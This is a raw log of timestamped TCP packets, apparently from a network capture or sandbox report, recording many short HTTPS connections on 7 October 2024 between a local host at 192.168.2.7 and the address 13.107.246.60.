Oct 7, 2024 06:44:45.318284988 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.318936110 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.318947077 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.319406033 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.319411039 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.416907072 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.417052031 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.417117119 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.417128086 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.417162895 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.417210102 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.417449951 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.417460918 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.417471886 CEST	49919	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.417476892 CEST	443	49919	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.420597076 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.420629025 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.420906067 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.420906067 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.420939922 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.855823994 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.856453896 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.856483936 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.856910944 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.856915951 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.863043070 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.863435984 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.863464117 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.863810062 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.863821030 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.881943941 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.882306099 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.882313013 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.882690907 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.882694960 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.908214092 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.908704042 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.908751965 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.909056902 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.909068108 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.954330921 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.954427004 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.954500914 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.954679012 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.954696894 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.954709053 CEST	49920	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.954715014 CEST	443	49920	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.957811117 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.957865953 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.957974911 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.958158970 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.958173037 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.962095022 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.962174892 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.962228060 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.962259054 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.962280035 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.962332010 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.962372065 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.962389946 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.962414980 CEST	49921	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.962419987 CEST	443	49921	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.964620113 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.964632034 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.964698076 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.964833975 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.964844942 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.980494976 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.980614901 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.980688095 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.980814934 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.980833054 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.980844975 CEST	49923	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.980850935 CEST	443	49923	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.983431101 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.983474970 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:45.983553886 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.983702898 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:45.983722925 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.010658026 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.010831118 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.010911942 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.010962963 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.010979891 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.011003971 CEST	49922	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.011010885 CEST	443	49922	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.013309002 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.013324976 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.013405085 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.013530016 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.013539076 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.100028038 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.102617979 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.102653980 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.103070021 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.103076935 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.203731060 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.203792095 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.203859091 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.203887939 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.203946114 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.203990936 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.204174995 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.204190016 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.204201937 CEST	49924	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.204207897 CEST	443	49924	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.206732035 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.206752062 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.206851006 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.206984043 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.206998110 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.600699902 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.612175941 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.612200975 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.612632036 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.612637997 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.620099068 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.620574951 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.620596886 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.621153116 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.621159077 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.631864071 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.649830103 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.649858952 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.660712004 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.686191082 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.686213970 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.708223104 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.708245039 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.708547115 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.708553076 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.709151983 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.709326029 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.709388018 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.713592052 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.713617086 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.713630915 CEST	49926	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.713639975 CEST	443	49926	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.724503040 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.724791050 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.724859953 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.739691973 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.739691973 CEST	49925	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.739710093 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.739720106 CEST	443	49925	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.783185005 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.783256054 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.783308029 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.783319950 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.783358097 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.806199074 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.806400061 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.806468010 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.813528061 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.813564062 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.813637972 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.813976049 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.814004898 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.814021111 CEST	49927	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.814028025 CEST	443	49927	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.835381985 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.835381985 CEST	49928	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.835408926 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.835416079 CEST	443	49928	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.852551937 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.852576017 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.878757000 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.878798008 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.878911972 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.880758047 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.880780935 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.883202076 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.883218050 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.883277893 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.883683920 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.883697987 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.885524035 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.885555983 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.885627985 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.886812925 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.889132977 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.889149904 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.889924049 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.889939070 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.890708923 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.890713930 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.991517067 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.991560936 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.991626024 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.991700888 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.991702080 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.991902113 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.991903067 CEST	49929	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.991914988 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.991919041 CEST	443	49929	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.994458914 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.994502068 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:46.994590044 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.994739056 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:46.994751930 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.516294003 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.517030001 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.517050028 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.517401934 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.517409086 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.518506050 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.518799067 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.518831015 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.519130945 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.519138098 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.520055056 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.520324945 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.520338058 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.520642042 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.520647049 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.564075947 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.564800024 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.564822912 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.565032959 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.565037966 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.619714975 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.619888067 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.619992971 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.620141029 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.620167971 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.620182991 CEST	49931	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.620192051 CEST	443	49931	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.623482943 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.623548031 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.623636961 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.623820066 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.623827934 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.624958038 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.625049114 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.625092030 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.625160933 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.625174999 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.625186920 CEST	49932	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.625191927 CEST	443	49932	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.627357960 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.627414942 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.627490044 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.627614021 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.627635002 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.628698111 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.628818989 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.628886938 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.628922939 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.628938913 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.628948927 CEST	49930	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.628954887 CEST	443	49930	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.631517887 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.631550074 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.631613016 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.631755114 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.631764889 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.655297995 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.655764103 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.655782938 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.656239986 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.656246901 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.668112040 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.668299913 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.668348074 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.668364048 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.668390036 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.668440104 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.668457031 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.668467999 CEST	49933	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.668473005 CEST	443	49933	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.671150923 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.671175957 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.671231985 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.671521902 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.671533108 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.758172035 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.758404970 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.758455038 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.758603096 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.758621931 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.758634090 CEST	49934	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.758640051 CEST	443	49934	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.770759106 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.770813942 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:47.770885944 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.771049023 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:47.771065950 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.266804934 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.267462969 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.267486095 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.267508030 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.267740965 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.267756939 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.267874002 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.267879963 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.268196106 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.268201113 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.292448997 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.292944908 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.292967081 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.293404102 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.293412924 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.317785978 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.318264961 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.318306923 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.318662882 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.318670034 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.366911888 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.366942883 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367017984 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367048025 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367082119 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367166996 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367347956 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367363930 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367372990 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367389917 CEST	49937	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367413044 CEST	443	49937	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367427111 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367468119 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367530107 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367554903 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367594004 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367609978 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367609978 CEST	49935	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.367619991 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.367629051 CEST	443	49935	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.370686054 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.370718956 CEST	49941	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.370731115 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.370760918 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.370819092 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.370872021 CEST	49941	443	192.168.2.7	13.107.246.60
